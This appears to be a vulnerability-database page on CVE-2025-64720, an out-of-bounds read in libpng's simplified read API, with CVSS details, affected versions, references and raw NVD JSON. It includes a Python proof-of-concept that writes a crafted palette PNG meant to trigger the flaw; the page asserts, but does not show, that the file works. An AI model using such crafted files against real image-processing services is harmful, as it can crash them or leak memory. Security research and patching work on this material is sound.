Security Vulnerability Report
中文
CVE-2025-64720 CVSS 7.1 HIGH

CVE-2025-64720

Published: 2025-11-25 00:15:47
Last Modified: 2025-11-26 18:35:18

Description

LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From version 1.6.0 to before 1.6.51, an out-of-bounds read vulnerability exists in png_image_read_composite when processing palette images with PNG_FLAG_OPTIMIZE_ALPHA enabled. The palette compositing code in png_init_read_transformations incorrectly applies background compositing during premultiplication, violating the invariant component ≤ alpha × 257 required by the simplified PNG API. This issue has been patched in version 1.6.51.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:* - VULNERABLE
libpng 1.6.0至1.6.50

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import zlib def create_malicious_png(): """ Generate a malicious PNG file that triggers CVE-2025-64720 Out-of-bounds read in png_image_read_composite with PNG_FLAG_OPTIMIZE_ALPHA """ # PNG signature signature = b'\x89PNG\r\n\x1a\n' # IHDR chunk - 8x8 pixel palette image ihdr_data = struct.pack('>IIBBBBB', 8, 8, 8, 3, 0, 0, 0) # width, height, bit_depth=8, color_type=3(palette), compression, filter, interlace ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # PLTE chunk - palette with problematic alpha optimization # Craft palette entries that will trigger the invariant violation palette = b'' for i in range(256): palette += bytes([i, 0, 0]) # Red gradient palette plte_crc = zlib.crc32(b'PLTE' + palette) & 0xffffffff plte_chunk = struct.pack('>I', 768) + b'PLTE' + palette + struct.pack('>I', plte_crc) # tRNS chunk - transparency with values that trigger the bug # When combined with PNG_FLAG_OPTIMIZE_ALPHA, these cause component > alpha*257 transparency = bytes([128] * 128 + [0] * 128) # 256 alpha entries trns_crc = zlib.crc32(b'tRNS' + transparency) & 0xffffffff trns_chunk = struct.pack('>I', 256) + b'tRNS' + transparency + struct.pack('>I', trns_crc) # IDAT chunk - compressed image data # Image data that uses palette indices with the crafted transparency raw_data = b'' for y in range(8): raw_data += b'\x00' # filter byte for x in range(8): raw_data += bytes([(x + y) % 256]) # palette indices compressed = zlib.compress(raw_data, 9) idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc) # IEND chunk iend_crc = zlib.crc32(b'IEND') & 0xffffffff iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc) return signature + ihdr_chunk + plte_chunk + trns_chunk + idat_chunk + iend_chunk if __name__ == '__main__': png_data = create_malicious_png() with open('CVE-2025-64720_poc.png', 'wb') as f: f.write(png_data) print('Malicious PNG created: CVE-2025-64720_poc.png') print('This PoC triggers out-of-bounds read when processed by vulnerable libpng versions (1.6.0-1.6.50)') print('The vulnerability occurs when PNG_FLAG_OPTIMIZE_ALPHA is enabled during image reading')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64720", "sourceIdentifier": "[email protected]", "published": "2025-11-25T00:15:47.460", "lastModified": "2025-11-26T18:35:18.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. From version 1.6.0 to before 1.6.51, an out-of-bounds read vulnerability exists in png_image_read_composite when processing palette images with PNG_FLAG_OPTIMIZE_ALPHA enabled. The palette compositing code in png_init_read_transformations incorrectly applies background compositing during premultiplication, violating the invariant component ≤ alpha × 257 required by the simplified PNG API. This issue has been patched in version 1.6.51."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libpng:libpng:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.51", "matchCriteriaId": "3545FEA5-4FFA-4955-BFDA-CC3602C9A894"}]}]}], "references": [{"url": "https://github.com/pnggroup/libpng/commit/08da33b4c88cfcd36e5a706558a8d7e0e4773643", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnggroup/libpng/issues/686", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/pnggroup/libpng/pull/751", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-hfc7-ph9c-wcww", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/pnggroup/libpng/security/advisories/GHSA-hfc7-ph9c-wcww", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}